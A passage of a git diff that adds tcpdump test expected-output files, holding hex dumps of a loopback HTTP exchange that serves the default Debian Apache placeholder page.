+	0x05e0:  7061 6765 7320 6173 0a73 6f6f 6e20 6173  pages.as.soon.as
+	0x05f0:  2070 6f73 7369 626c 652e 3c2f 5354 524f  .possible.</STRO
+	0x0600:  4e47 3e3c 2f50 3e0a 0a3c 503e 556e 6c65  NG></P>..<P>Unle
+	0x0610:  7373 2079 6f75 2063 6861 6e67 6564 2069  ss.you.changed.i
+	0x0620:  7473 2063 6f6e 6669 6775 7261 7469 6f6e  ts.configuration
+	0x0630:  2c20 796f 7572 206e 6577 2073 6572 7665  ,.your.new.serve
+	0x0640:  7220 6973 2063 6f6e 6669 6775 7265 6420  r.is.configured.
+	0x0650:  6173 2066 6f6c 6c6f 7773 3a0a 3c55 4c3e  as.follows:.<UL>
+	0x0660:  0a3c 4c49 3e0a 436f 6e66 6967 7572 6174  .<LI>.Configurat
+	0x0670:  696f 6e20 6669 6c65 7320 6361 6e20 6265  ion.files.can.be
+	0x0680:  2066 6f75 6e64 2069 6e20 3c54 543e 2f65  .found.in.<TT>/e
+	0x0690:  7463 2f61 7061 6368 653c 2f54 543e 2e3c  tc/apache</TT>.<
+	0x06a0:  2f4c 493e 0a0a 3c4c 493e 0a54 6865 203c  /LI>..<LI>.The.<
+	0x06b0:  5454 3e44 6f63 756d 656e 7452 6f6f 743c  TT>DocumentRoot<
+	0x06c0:  2f54 543e 2c20 7768 6963 6820 6973 2074  /TT>,.which.is.t
+	0x06d0:  6865 2064 6972 6563 746f 7279 2075 6e64  he.directory.und
+	0x06e0:  6572 2077 6869 6368 2061 6c6c 2079 6f75  er.which.all.you
+	0x06f0:  720a 4854 4d4c 2066 696c 6573 2073 686f  r.HTML.files.sho
+	0x0700:  756c 6420 6578 6973 742c 2069 7320 7365  uld.exist,.is.se
+	0x0710:  7420 746f 203c 5454 3e2f 7661 722f 7777  t.to.<TT>/var/ww
+	0x0720:  773c 2f54 543e 2e3c 2f4c 493e 0a0a 3c4c  w</TT>.</LI>..<L
+	0x0730:  493e 0a43 4749 2073 6372 6970 7473 2061  I>.CGI.scripts.a
+	0x0740:  7265 206c 6f6f 6b65 6420 666f 7220 696e  re.looked.for.in
+	0x0750:  203c 5454 3e2f 7573 722f 6c69 622f 6367  .<TT>/usr/lib/cg
+	0x0760:  692d 6269 6e3c 2f54 543e 2c20 7768 6963  i-bin</TT>,.whic
+	0x0770:  6820 6973 2077 6865 7265 0a44 6562 6961  h.is.where.Debia
+	0x0780:  6e20 7061 636b 6167 6573 2077 696c 6c20  n.packages.will.
+	0x0790:  706c 6163 6520 7468 6569 7220 7363 7269  place.their.scri
+	0x07a0:  7074 732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a  pts.</LI>..<LI>.
+	0x07b0:  4c6f 6720 6669 6c65 7320 6172 6520 706c  Log.files.are.pl
+	0x07c0:  6163 6564 2069 6e20 3c54 543e 2f76 6172  aced.in.<TT>/var
+	0x07d0:  2f6c 6f67 2f61 7061 6368 653c 2f54 543e  /log/apache</TT>
+	0x07e0:  2c20 616e 6420 7769 6c6c 2062 6520 726f  ,.and.will.be.ro
+	0x07f0:  7461 7465 640a 7765 656b 6c79 2e20 2054  tated.weekly...T
+	0x0800:  6865 2066 7265 7175 656e 6379 206f 6620  he.frequency.of.
+	0x0810:  726f 7461 7469 6f6e 2063 616e 2062 6520  rotation.can.be.
+	0x0820:  6561 7369 6c79 2063 6861 6e67 6564 2062  easily.changed.b
+	0x0830:  7920 6564 6974 696e 670a 3c54 543e 2f65  y.editing.<TT>/e
+	0x0840:  7463 2f6c 6f67 726f 7461 7465 2e64 2f61  tc/logrotate.d/a
+	0x0850:  7061 6368 653c 2f54 543e 2e3c 2f4c 493e  pache</TT>.</LI>
+	0x0860:  0a0a 3c4c 493e 0a54 6865 2064 6566 6175  ..<LI>.The.defau
+	0x0870:  6c74 2064 6972 6563 746f 7279 2069 6e64  lt.directory.ind
+	0x0880:  6578 2069 7320 3c54 543e 696e 6465 782e  ex.is.<TT>index.
+	0x0890:  6874 6d6c 3c2f 5454 3e2c 206d 6561 6e69  html</TT>,.meani
+	0x08a0:  6e67 2074 6861 7420 7265 7175 6573 7473  ng.that.requests
+	0x08b0:  0a66 6f72 2061 2064 6972 6563 746f 7279  .for.a.directory
+	0x08c0:  203c 5454 3e2f 666f 6f2f 6261 722f 3c2f  .<TT>/foo/bar/</
+	0x08d0:  5454 3e20 7769 6c6c 2067 6976 6520 7468  TT>.will.give.th
+	0x08e0:  6520 636f 6e74 656e 7473 206f 6620 7468  e.contents.of.th
+	0x08f0:  6520 6669 6c65 203c 5454 3e2f 7661 722f  e.file.<TT>/var/
+	0x0900:  7777 772f 666f 6f2f 6261 722f 696e 6465  www/foo/bar/inde
+	0x0910:  782e 6874 6d6c 3c2f 5454 3e0a 6966 2069  x.html</TT>.if.i
+	0x0920:  7420 6578 6973 7473 2028 6173 7375 6d69  t.exists.(assumi
+	0x0930:  6e67 2074 6861 7420 3c54 543e 2f76 6172  ng.that.<TT>/var
+	0x0940:  2f77 7777 3c2f 5454 3e20 6973 2079 6f75  /www</TT>.is.you
+	0x0950:  7220 3c54 543e 446f 6375 6d65 6e74 526f  r.<TT>DocumentRo
+	0x0960:  6f74 3c2f 5454 3e29 2e3c 2f4c 493e 0a0a  ot</TT>).</LI>..
+	0x0970:  3c4c 493e 0a55 7365 7220 6469 7265 6374  <LI>.User.direct
+	0x0980:  6f72 6965 7320 6172 6520 656e 6162 6c65  ories.are.enable
+	0x0990:  642c 2061 6e64 2075 7365 7220 646f 6375  d,.and.user.docu
+	0x09a0:  6d65 6e74 7320 7769 6c6c 2062 6520 6c6f  ments.will.be.lo
+	0x09b0:  6f6b 6564 2066 6f72 0a69 6e20 7468 6520  oked.for.in.the.
+	0x09c0:  3c54 543e 7075 626c 6963 5f68 746d 6c3c  <TT>public_html<
+	0x09d0:  2f54 543e 2064 6972 6563 746f 7279 206f  /TT>.directory.o
+	0x09e0:  6620 7468 6520 7573 6572 7327 2068 6f6d  f.the.users'.hom
+	0x09f0:  6573 2e20 2054 6865 7365 2064 6972 730a  es...These.dirs.
+	0x0a00:  7368 6f75 6c64 2062 6520 756e 6465 7220  should.be.under.
+	0x0a10:  3c54 543e 2f68 6f6d 653c 2f54 543e 2c20  <TT>/home</TT>,.
+	0x0a20:  616e 6420 7573 6572 7320 7769 6c6c 206e  and.users.will.n
+	0x0a30:  6f74 2062 6520 6162 6c65 2074 6f20 7379  ot.be.able.to.sy
+	0x0a40:  6d6c 696e 6b0a 746f 2066 696c 6573 2074  mlink.to.files.t
+	0x0a50:  6865 7920 646f 6e27 7420 6f77 6e2e 3c2f  hey.don't.own.</
+	0x0a60:  4c49 3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074  LI>..</UL>.All.t
+	0x0a70:  6865 2073 7461 6e64 6172 6420 6170 6163  he.standard.apac
+	0x0a80:  6865 206d 6f64 756c 6573 2061 7265 2061  he.modules.are.a
+	0x0a90:  7661 696c 6162 6c65 2077 6974 6820 7468  vailable.with.th
+	0x0aa0:  6973 2072 656c 6561 7365 2061 6e64 2061  is.release.and.a
+	0x0ab0:  7265 0a6e 6f77 206d 616e 6167 6564 2077  re.now.managed.w
+	0x0ac0:  6974 6820 6465 6263 6f6e 662e 2020 5479  ith.debconf...Ty
+	0x0ad0:  7065 203c 5454 3e64 706b 672d 7265 636f  pe.<TT>dpkg-reco
+	0x0ae0:  6e66 6967 7572 6520 6170 6163 6865 3c2f  nfigure.apache</
+	0x0af0:  5454 3e20 746f 0a73 656c 6563 7420 7768  TT>.to.select.wh
+	0x0b00:  6963 6820 6d6f 6475 6c65 7320 796f 7520  ich.modules.you.
+	0x0b10:  7761 6e74 2065 6e61 626c 6564 2e20 204d  want.enabled...M
+	0x0b20:  616e 7920 6f74 6865 7220 6d6f 6475 6c65  any.other.module
+	0x0b30:  7320 6172 6520 6176 6169 6c61 626c 650a  s.are.available.
+	0x0b40:  7468 726f 7567 6820 7468 6520 4465 6269  through.the.Debi
+	0x0b50:  616e 2070 6163 6b61 6765 2073 7973 7465  an.package.syste
+	0x0b60:  6d20 7769 7468 2074 6865 206e 616d 6573  m.with.the.names
+	0x0b70:  203c 5454 3e6c 6962 6170 6163 6865 2d6d  .<TT>libapache-m
+	0x0b80:  6f64 2d2a 3c2f 5454 3e2e 0a49 6620 796f  od-*</TT>..If.yo
+	0x0b90:  7520 6e65 6564 2074 6f20 636f 6d70 696c  u.need.to.compil
+	0x0ba0:  6520 6120 6d6f 6475 6c65 2079 6f75 7273  e.a.module.yours
+	0x0bb0:  656c 662c 2079 6f75 2077 696c 6c20 6e65  elf,.you.will.ne
+	0x0bc0:  6564 2074 6f20 696e 7374 616c 6c20 7468  ed.to.install.th
+	0x0bd0:  650a 3c54 543e 6170 6163 6865 2d64 6576  e.<TT>apache-dev
+	0x0be0:  3c2f 5454 3e20 7061 636b 6167 652e 0a0a  </TT>.package...
+	0x0bf0:  3c50 3e4d 6f72 6520 646f 6375 6d65 6e74  <P>More.document
+	0x0c00:  6174 696f 6e20 6f6e 2041 7061 6368 6520  ation.on.Apache.
+	0x0c10:  6361 6e20 6265 2066 6f75 6e64 206f 6e3a  can.be.found.on:
+	0x0c20:  0a3c 554c 3e0a 3c4c 493e 0a54 6865 203c  .<UL>.<LI>.The.<
+	0x0c30:  4120 4852 4546 3d22 2f64 6f63 2f61 7061  A.HREF="/doc/apa
+	0x0c40:  6368 652d 646f 632f 6d61 6e75 616c 2f22  che-doc/manual/"
+	0x0c50:  3e41 7061 6368 6520 646f 6375 6d65 6e74  >Apache.document
+	0x0c60:  6174 696f 6e3c 2f41 3e20 7374 6f72 6564  ation</A>.stored
+	0x0c70:  206f 6e20 796f 7572 2073 6572 7665 722e  .on.your.server.
+	0x0c80:  3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468 6520  </LI>..<LI>.The.
+	0x0c90:  3c41 2048 5245 463d 2268 7474 703a 2f2f  <A.HREF="http://
+	0x0ca0:  7777 772e 6170 6163 6865 2e6f 7267 2f22  www.apache.org/"
+	0x0cb0:  3e41 7061 6368 6520 5072 6f6a 6563 743c  >Apache.Project<
+	0x0cc0:  2f41 3e20 686f 6d65 2073 6974 652e 3c2f  /A>.home.site.</
+	0x0cd0:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41  LI>..<LI>.The.<A
+	0x0ce0:  2048 5245 463d 2268 7474 703a 2f2f 7777  .HREF="http://ww
+	0x0cf0:  772e 6170 6163 6865 2d73 736c 2e6f 7267  w.apache-ssl.org
+	0x0d00:  2f22 3e41 7061 6368 652d 5353 4c3c 2f41  /">Apache-SSL</A
+	0x0d10:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49  >.home.site.</LI
+	0x0d20:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048  >..<LI>.The.<A.H
+	0x0d30:  5245 463d 2268 7474 703a 2f2f 7065 726c  REF="http://perl
+	0x0d40:  2e61 7061 6368 652e 6f72 672f 223e 6d6f  .apache.org/">mo
+	0x0d50:  6420 7065 726c 3c2f 413e 2068 6f6d 6520  d.perl</A>.home.
+	0x0d60:  7369 7465 2e3c 2f4c 493e 0a0a 3c4c 493e  site.</LI>..<LI>
+	0x0d70:  0a54 6865 203c 4120 4852 4546 3d22 6874  .The.<A.HREF="ht
+	0x0d80:  7470 3a2f 2f77 7777 2e61 7061 6368 6577  tp://www.apachew
+	0x0d90:  6565 6b2e 636f 6d2f 223e 4170 6163 6865  eek.com/">Apache
+	0x0da0:  5765 656b 3c2f 413e 206e 6577 736c 6574  Week</A>.newslet
+	0x0db0:  7465 722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a  ter.</LI>..<LI>.
+	0x0dc0:  5468 6520 3c41 2048 5245 463d 2268 7474  The.<A.HREF="htt
+	0x0dd0:  703a 2f2f 7777 772e 6465 6269 616e 2e6f  p://www.debian.o
+	0x0de0:  7267 2f64 6f63 2f22 3e44 6562 6961 6e20  rg/doc/">Debian.
+	0x0df0:  5072 6f6a 6563 740a 446f 6375 6d65 6e74  Project.Document
+	0x0e00:  6174 696f 6e3c 2f41 3e20 7768 6963 6820  ation</A>.which.
+	0x0e10:  636f 6e74 6169 6e73 2048 4f57 544f 732c  contains.HOWTOs,
+	0x0e20:  2046 4151 732c 2061 6e64 2073 6f66 7477  .FAQs,.and.softw
+	0x0e30:  6172 6520 7570 6461 7465 732e 3c2f 4c49  are.updates.</LI
+	0x0e40:  3e0a 3c2f 554c 3e0a 0a3c 503e 596f 7520  >.</UL>..<P>You.
+	0x0e50:  6361 6e20 616c 736f 2063 6f6e 7375 6c74  can.also.consult
+	0x0e60:  2074 6865 206c 6973 7420 6f66 203c 4120  .the.list.of.<A.
+	0x0e70:  4852 4546 3d22 6874 7470 3a2f 2f77 7777  HREF="http://www
+	0x0e80:  2e62 6f75 7465 6c6c 2e63 6f6d 2f66 6171  .boutell.com/faq
+	0x0e90:  2f22 3e57 6f72 6c64 0a57 6964 6520 5765  /">World.Wide.We
+	0x0ea0:  6220 4672 6571 7565 6e74 6c79 2041 736b  b.Frequently.Ask
+	0x0eb0:  6564 2051 7565 7374 696f 6e73 3c2f 413e  ed.Questions</A>
+	0x0ec0:  2066 6f72 2069 6e66 6f72 6d61 7469 6f6e  .for.information
+	0x0ed0:  2e0a 0a3c 4832 3e4c 6574 206f 7468 6572  ...<H2>Let.other
+	0x0ee0:  2070 656f 706c 6520 6b6e 6f77 2061 626f  .people.know.abo
+	0x0ef0:  7574 2074 6869 7320 7365 7276 6572 3c2f  ut.this.server</
+	0x0f00:  4832 3e0a 0a3c 4120 4852 4546 3d22 6874  H2>..<A.HREF="ht
+	0x0f10:  7470 3a2f 2f6e 6574 6372 6166 742e 636f  tp://netcraft.co
+	0x0f20:  6d2f 223e 4e65 7463 7261 6674 3c2f 413e  m/">Netcraft</A>
+	0x0f30:  2070 726f 7669 6465 7320 616e 2069 6e74  .provides.an.int
+	0x0f40:  6572 6573 7469 6e67 2066 7265 650a 7365  eresting.free.se
+	0x0f50:  7276 6963 6520 666f 7220 7765 6220 7369  rvice.for.web.si
+	0x0f60:  7465 206d 6f6e 6974 6f72 696e 6720 616e  te.monitoring.an
+	0x0f70:  6420 7374 6174 6973 7469 6320 636f 6c6c  d.statistic.coll
+	0x0f80:  6563 7469 6f6e 2e0a 596f 7520 6361 6e20  ection..You.can.
+	0x0f90:  6c65 7420 7468 656d 206b 6e6f 7720 6162  let.them.know.ab
+	0x0fa0:  6f75 7420 796f 7572 2073 6572 7665 7220  out.your.server.
+	0x0fb0:  7573 696e 6720 7468 6569 720a 3c41 2048  using.their.<A.H
+	0x0fc0:  5245 463d 2268 7474 703a 2f2f 7570 7469  REF="http://upti
+	0x0fd0:  6d65 2e6e 6574 6372 6166 742e 636f 6d2f  me.netcraft.com/
+	0x0fe0:  223e 696e 7465 7266 6163 653c 2f41 3e2e  ">interface</A>.
+	0x0ff0:  0a45 6e61 626c 696e 6720 7468 6520 6d6f  .Enabling.the.mo
+	0x1000:  6e69 746f 7269 6e67 206f 6620 796f 7572  nitoring.of.your
+	0x1010:  2073 6572 7665 7220 7769 6c6c 2070 726f  .server.will.pro
+	0x1020:  7669 6465 2061 2062 6574 7465 7220 676c  vide.a.better.gl
+	0x1030:  6f62 616c 206f 7665 7276 6965 770a 6f66  obal.overview.of
+	0x1040:  2077 686f 2069 7320 7573 696e 6720 7768  .who.is.using.wh
+	0x1050:  6174 2061 6e64 2077 6865 7265 2c20 616e  at.and.where,.an
+	0x1060:  6420 6974 2077 6f75 6c64 2067 6976 6520  d.it.would.give.
+	0x1070:  4465 6269 616e 2061 2062 6574 7465 720a  Debian.a.better.
+	0x1080:  6f76 6572 7669 6577 206f 6620 7468 6520  overview.of.the.
+	0x1090:  6170 6163 6865 2070 6163 6b61 6765 2075  apache.package.u
+	0x10a0:  7361 6765 2e0a 0a3c 4832 3e41 626f 7574  sage...<H2>About
+	0x10b0:  2074 6869 7320 7061 6765 3c2f 4832 3e0a  .this.page</H2>.
+	0x10c0:  0a3c 494d 4720 414c 4947 4e3d 2272 6967  .<IMG.ALIGN="rig
+	0x10d0:  6874 2220 414c 543d 2222 2048 4549 4748  ht".ALT="".HEIGH
+	0x10e0:  543d 2232 3437 2220 5749 4454 483d 2232  T="247".WIDTH="2
+	0x10f0:  3738 2220 5352 433d 2269 636f 6e73 2f6a  78".SRC="icons/j
+	0x1100:  6865 3036 312e 706e 6722 3e0a 0a3c 503e  he061.png">..<P>
+	0x1110:  5468 6973 2069 7320 6120 706c 6163 6568  This.is.a.placeh
+	0x1120:  6f6c 6465 7220 7061 6765 2069 6e73 7461  older.page.insta
+	0x1130:  6c6c 6564 2062 7920 7468 6520 3c41 0a48  lled.by.the.<A.H
+	0x1140:  5245 463d 2268 7474 703a 2f2f 7777 772e  REF="http://www.
+	0x1150:  6465 6269 616e 2e6f 7267 2f22 3e44 6562  debian.org/">Deb
+	0x1160:  6961 6e3c 2f41 3e0a 7265 6c65 6173 6520  ian</A>.release.
+	0x1170:  6f66 2074 6865 2061 7061 6368 6520 5765  of.the.apache.We
+	0x1180:  6220 7365 7276 6572 2070 6163 6b61 6765  b.server.package
+	0x1190:  2e0a 0a3c 503e 5468 6973 2063 6f6d 7075  ...<P>This.compu
+	0x11a0:  7465 7220 6861 7320 696e 7374 616c 6c65  ter.has.installe
+	0x11b0:  6420 7468 6520 4465 6269 616e 2047 4e55  d.the.Debian.GNU
+	0x11c0:  2f4c 696e 7578 206f 7065 7261 7469 6e67  /Linux.operating
+	0x11d0:  2073 7973 7465 6d2c 0a62 7574 2069 7420  .system,.but.it.
+	0x11e0:  6861 7320 3c73 7472 6f6e 673e 6e6f 7468  has.<strong>noth
+	0x11f0:  696e 6720 746f 2064 6f20 7769 7468 2074  ing.to.do.with.t
+	0x1200:  6865 2044 6562 6961 6e0a 5072 6f6a 6563  he.Debian.Projec
+	0x1210:  743c 2f73 7472 6f6e 673e 2e20 506c 6561  t</strong>..Plea
+	0x1220:  7365 2064 6f20 3c73 7472 6f6e 673e 6e6f  se.do.<strong>no
+	0x1230:  743c 2f73 7472 6f6e 673e 2063 6f6e 7461  t</strong>.conta
+	0x1240:  6374 2074 6865 2044 6562 6961 6e0a 5072  ct.the.Debian.Pr
+	0x1250:  6f6a 6563 7420 6162 6f75 7420 6974 2e3c  oject.about.it.<
+	0x1260:  2f50 3e0a 0a3c 503e 4966 2079 6f75 2066  /P>..<P>If.you.f
+	0x1270:  696e 6420 6120 6275 6720 696e 2074 6869  ind.a.bug.in.thi
+	0x1280:  7320 6170 6163 6865 2070 6163 6b61 6765  s.apache.package
+	0x1290:  2c20 6f72 2069 6e20 4170 6163 6865 2069  ,.or.in.Apache.i
+	0x12a0:  7473 656c 662c 0a70 6c65 6173 6520 6669  tself,.please.fi
+	0x12b0:  6c65 2061 2062 7567 2072 6570 6f72 7420  le.a.bug.report.
+	0x12c0:  6f6e 2069 742e 2020 496e 7374 7275 6374  on.it...Instruct
+	0x12d0:  696f 6e73 206f 6e20 646f 696e 6720 7468  ions.on.doing.th
+	0x12e0:  6973 2c20 616e 6420 7468 650a 6c69 7374  is,.and.the.list
+	0x12f0:  206f 6620 3c41 2048 5245 463d 2268 7474  .of.<A.HREF="htt
+	0x1300:  703a 2f2f 6275 6773 2e64 6562 6961 6e2e  p://bugs.debian.
+	0x1310:  6f72 672f 7372 633a 6170 6163 6865 223e  org/src:apache">
+	0x1320:  6b6e 6f77 6e20 6275 6773 3c2f 413e 206f  known.bugs</A>.o
+	0x1330:  6620 7468 6973 0a70 6163 6b61 6765 2c20  f.this.package,.
+	0x1340:  6361 6e20 6265 2066 6f75 6e64 2069 6e20  can.be.found.in.
+	0x1350:  7468 6520 0a3c 4120 4852 4546 3d22 6874  the..<A.HREF="ht
+	0x1360:  7470 3a2f 2f77 7777 2e64 6562 6961 6e2e  tp://www.debian.
+	0x1370:  6f72 672f 4275 6773 2f52 6570 6f72 7469  org/Bugs/Reporti
+	0x1380:  6e67 223e 4465 6269 616e 2042 7567 2054  ng">Debian.Bug.T
+	0x1390:  7261 636b 696e 6720 5379 7374 656d 3c2f  racking.System</
+	0x13a0:  413e 2e0a 0a3c 503e 5468 616e 6b73 2066  A>...<P>Thanks.f
+	0x13b0:  6f72 2075 7369 6e67 2074 6869 7320 7061  or.using.this.pa
+	0x13c0:  636b 6167 652c 2061 6e64 2063 6f6e 6772  ckage,.and.congr
+	0x13d0:  6174 756c 6174 696f 6e73 2066 6f72 2079  atulations.for.y
+	0x13e0:  6f75 7220 6368 6f69 6365 206f 660a 6120  our.choice.of.a.
+	0x13f0:  4465 6269 616e 2073 7973 7465 6d21 3c2f  Debian.system!</
+	0x1400:  503e 0a0a 3c44 4956 2061 6c69 676e 3d22  P>..<DIV.align="
+	0x1410:  6365 6e74 6572 223e 0a3c 6120 6872 6566  center">.<a.href
+	0x1420:  3d22 6874 7470 3a2f 2f77 7777 2e64 6562  ="http://www.deb
+	0x1430:  6961 6e2e 6f72 672f 223e 0a3c 494d 4720  ian.org/">.<IMG.
+	0x1440:  616c 6967 6e3d 226d 6964 646c 6522 2068  align="middle".h
+	0x1450:  6569 6768 743d 2233 3022 2077 6964 7468  eight="30".width
+	0x1460:  3d22 3235 2220 7372 633d 2269 636f 6e73  ="25".src="icons
+	0x1470:  2f64 6562 6961 6e2f 6f70 656e 6c6f 676f  /debian/openlogo
+	0x1480:  2d32 352e 6a70 6722 2061 6c74 3d22 4465  -25.jpg".alt="De
+	0x1490:  6269 616e 223e 0a3c 2f61 3e0a 3c61 2068  bian">.</a>.<a.h
+	0x14a0:  7265 663d 2268 7474 703a 2f2f 7777 772e  ref="http://www.
+	0x14b0:  6170 6163 6865 2e6f 7267 2f22 3e0a 3c49  apache.org/">.<I
+	0x14c0:  4d47 2061 6c69 676e 3d22 6d69 6464 6c65  MG.align="middle
+	0x14d0:  2220 6865 6967 6874 3d22 3332 2220 7769  ".height="32".wi
+	0x14e0:  6474 683d 2232 3539 2220 7372 633d 2269  dth="259".src="i
+	0x14f0:  636f 6e73 2f61 7061 6368 655f 7062 2e70  cons/apache_pb.p
+	0x1500:  6e67 2220 616c 743d 2241 7061 6368 6522  ng".alt="Apache"
+	0x1510:  3e0a 3c2f 613e 0a3c 2f44 4956 3e0a 0a3c  >.</a>.</DIV>..<
+	0x1520:  212d 2d0a 2020 5468 6973 2070 6167 6520  !--...This.page.
+	0x1530:  7761 7320 696e 6974 6961 6c6c 7920 6372  was.initially.cr
+	0x1540:  6561 7465 6420 6279 204a 6f68 6e69 6520  eated.by.Johnie.
+	0x1550:  496e 6772 616d 2028 6874 7470 3a2f 2f6e  Ingram.(http://n
+	0x1560:  6574 676f 642e 6e65 742f 290a 2020 4974  etgod.net/)...It
+	0x1570:  2077 6173 206c 6174 6572 2065 6469 7465  .was.later.edite
+	0x1580:  6420 6279 204d 6174 7468 6577 2057 696c  d.by.Matthew.Wil
+	0x1590:  636f 7820 616e 6420 4a6f 7369 7020 526f  cox.and.Josip.Ro
+	0x15a0:  6469 6e2e 0a20 204c 6173 7420 6d6f 6469  din....Last.modi
+	0x15b0:  6669 6564 3a20 2444 6174 653a 2032 3030  fied:.$Date:.200
+	0x15c0:  342f 3036 2f32 3020 3135 3a33 333a 3537  4/06/20.15:33:57
+	0x15d0:  2024 2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44  .$....-->..</BOD
+	0x15e0:  593e 0a3c 2f48 544d 4c3e 0a              Y>.</HTML>.
+22:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b6e 4000 4006 2154 7f00 0001  E..4.n@.@.!T....
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9  .....p.P7X.I7z..
+	0x0020:  8010 305f 10ea 0000 0101 080a 4ddc 9219  ..0_........M...
+	0x0030:  4ddc 9219                                M...
+22:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b70 4000 4006 2152 7f00 0001  E..4.p@.@.!R....
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9  .....p.P7X.I7z..
+	0x0020:  8011 305f 0be1 0000 0101 080a 4ddc 9721  ..0_........M..!
+	0x0030:  4ddc 9219                                M...
+22:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  4500 0034 1fe8 4000 4006 1cda 7f00 0001  E..4..@.@.......
+	0x0010:  7f00 0001 0050 da70 377a a3a9 3758 8a4a  .....P.p7z..7X.J
+	0x0020:  8011 2000 1735 0000 0101 080a 4ddc 9723  .....5......M..#
+	0x0030:  4ddc 9721                                M..!
+22:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  4500 0034 1b72 4000 4006 2150 7f00 0001  E..4.r@.@.!P....
+	0x0010:  7f00 0001 da70 0050 3758 8a4a 377a a3aa  .....p.P7X.J7z..
+	0x0020:  8010 305f 06d4 0000 0101 080a 4ddc 9723  ..0_........M..#
+	0x0030:  4ddc 9723                                M..#
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/print-capXX.out b/peasoup_examples/tests/tcpdump/tcpd_tests/print-capXX.out
new file mode 100644
index 0000000000000000000000000000000000000000..5062a85a9d61552ff8e100939073605906207cc0
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/print-capXX.out
@@ -0,0 +1,419 @@
+22:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  003c 1b68 4000 4006 2152 7f00 0001 7f00  .<.h@.@.!R......
+	0x0020:  0001 da70 0050 3758 897e 0000 0000 a002  ...p.P7X.~......
+	0x0030:  7fff 1421 0000 0204 400c 0402 080a 4ddc  ...!....@.....M.
+	0x0040:  9216 0000 0000 0103 0302                 ..........
+22:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  003c 0000 4000 4006 3cba 7f00 0001 7f00  .<..@.@.<.......
+	0x0020:  0001 0050 da70 377a 8df1 3758 897f a012  ...P.p7z..7X....
+	0x0030:  7fff 6eb1 0000 0204 400c 0402 080a 4ddc  ..n.....@.....M.
+	0x0040:  9216 4ddc 9216 0103 0302                 ..M.......
+22:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1b6a 4000 4006 2158 7f00 0001 7f00  .4.j@.@.!X......
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8010  ...p.P7X..7z....
+	0x0030:  2000 37d0 0000 0101 080a 4ddc 9216 4ddc  ..7.......M...M.
+	0x0040:  9216                                     ..
+22:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  00fe 1b6c 4000 4006 208c 7f00 0001 7f00  ...l@.@.........
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8018  ...p.P7X..7z....
+	0x0030:  2000 fef2 0000 0101 080a 4ddc 9217 4ddc  ..........M...M.
+	0x0040:  9216 4745 5420 2f20 4854 5450 2f31 2e31  ..GET./.HTTP/1.1
+	0x0050:  0d0a 486f 7374 3a20 6c6f 6361 6c68 6f73  ..Host:.localhos
+	0x0060:  740d 0a55 7365 722d 4167 656e 743a 2045  t..User-Agent:.E
+	0x0070:  4c69 6e6b 732f 302e 3130 2e34 2d37 2d64  Links/0.10.4-7-d
+	0x0080:  6562 6961 6e20 2874 6578 746d 6f64 653b  ebian.(textmode;
+	0x0090:  204c 696e 7578 2032 2e36 2e31 312d 312d  .Linux.2.6.11-1-
+	0x00a0:  3638 362d 736d 7020 6936 3836 3b20 3133  686-smp.i686;.13
+	0x00b0:  3278 3536 2d32 290d 0a41 6363 6570 743a  2x56-2)..Accept:
+	0x00c0:  202a 2f2a 0d0a 4163 6365 7074 2d45 6e63  .*/*..Accept-Enc
+	0x00d0:  6f64 696e 673a 2067 7a69 700d 0a41 6363  oding:.gzip..Acc
+	0x00e0:  6570 742d 4c61 6e67 7561 6765 3a20 656e  ept-Language:.en
+	0x00f0:  0d0a 436f 6e6e 6563 7469 6f6e 3a20 4b65  ..Connection:.Ke
+	0x0100:  6570 2d41 6c69 7665 0d0a 0d0a            ep-Alive....
+22:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  0034 1fe4 4000 4006 1cde 7f00 0001 7f00  .4..@.@.........
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8010  ...P.p7z..7X.I..
